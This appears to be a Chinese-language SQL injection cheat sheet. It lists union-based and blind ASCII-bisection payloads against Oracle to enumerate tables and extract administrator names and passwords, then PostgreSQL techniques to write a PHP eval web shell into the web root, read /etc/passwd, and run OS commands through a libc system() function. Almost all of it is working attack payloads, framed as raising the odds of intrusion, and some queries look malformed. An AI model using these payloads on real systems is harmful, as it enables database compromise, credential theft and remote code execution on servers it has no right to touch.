http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null,null,null,null,null from dual
获取操作系统版本
1
http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select member from v$logfile where rownum=1),null,null,null,null,null,null,null,null,null from dual
获取连接数据库的当前用户
1
http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select SYS_CONTEXT ('USERENV','CURRENT_USER')from dual),null,null,null,null,null,null,null,null,null from dual
获取第一个表
1
http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select table_name from user_tables where rownum=1),null,null,null,null,null,null,null,null,null from dual
获取第二个表
1
http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select table_name from user_tables where rownum=1 and table_name<>'ACCESS$'),null,null,null,null,null,null,null,null,null from dual
获取第三个表
1
http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select table_name from user_tables where rownum=1 and table_name<>'ACCESS$'and table_name<>'ALERT_QT'),null,null,null,null,null,null,null,null,null from dual
以此类推就可以得到所有的表名
获取第一个列名
假设我们得到管理员表名为:admin
获取第一个列名EMPLOYEE_ID
1
http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=-100 union select null,(select column_name from user_tab_columns where table_name='admin' and rownum=1),4,5,6 from dual,null,null,null,null,null,null,null,null,null from dual
获取第二个列名
1
http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=-100 union select null,(select column_name from user_tab_columns where table_name='admin' and rownum=1 and column_name<>'EMPLOYEE_ID'),4,5,6 from dual,null,null,null,null,null,null,null,null,null from dual
得到表名为NAME
获取第三个列名
1
http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=-100 union select null,(select column_name from user_tab_columns where table_name='admin' and rownum=1 and column_name<>'EMPLOYEE_ID' and rownum=1 and column_name<>'NAME'),4,5,6 from dual,null,null,null,null,null,null,null,null,null from dual
得到表名为PASS
获取数据库
1 2
union select 1,2,name,4,5,6 from admin union select 1,2,pass,4,5,6 from admin
第二种注入方式
判断下该网站下有几个管理员
如果有多个的话,成功入侵的几率就会加大
1
and (select count(*) from admin)=1,返回正常说明只有一个管理员。
指定表名获取列名
1
and (select count(name) from admin)>=0 返回正常,说明存在name字段
获取列名
1
and (select count(pass) from admin)>=0返回错误,说明不存在pass字段
接下来采用ASCII码折半法猜解管理员帐号和密码
判断管理员名字长度
1
and (select count(*) from admin where length(name)>=5)=1
说明:length()函数用于求字符串的长度,此处猜测用户名的长度和5比较
1
and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1
and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1
结果为100,即字符d,重复上述过程,可以判断出帐号为admin
相同的方法猜解密码
1
and (select count(*) from admin where length(pwd)>=8)=1,
返回正常,即密码长度为8,此时可以判断密码应该为明文
1
and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1,
返回正常,为字符a
1 2
and (select count(*) from admin where ascii(substr(pwd,2,1))>=100)=1,返回正常,为字符d and (select count(*) from admin where ascii(substr(pwd,8,1))>=56)=1,返回正常,为数字8
http://127.0.0.1/sql.php?id=1;create table shell(shell text not null); http://127.0.0.1/sql.php?id=1;insert into shell values($$<?php @eval($_POST[test]);?>$$); http://127.0.0.1/sql.php?id=1;copy shell(shell) to '/var/www/html/shell.php';
另一种方法:
1
;copy (select '$$<?php @eval($_POST[test]);?>$$') to 'c:/inetpub/wwwroot/mysql-sql/ddd.php'
读取文件前20行
1
pg_read_file('/etc/passwd',1,20)
创建system函数
用于版本大于8的数据库 创建一个system的函数:
1
create FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
创建一个输出表:
1
create table stdout(id serial, system_out text)
执行shell,输出到输出表内:
1 2 3
select system('uname -a > /tmp/test') copy 输出的内容到表里面; COPY stdout(system_out) FROM '/tmp/test'
从输出表内读取执行后的回显,判断是否执行成功
1
union all select NULL,(select stdout from system_out order by id desc),NULL limit 1 offset 1–-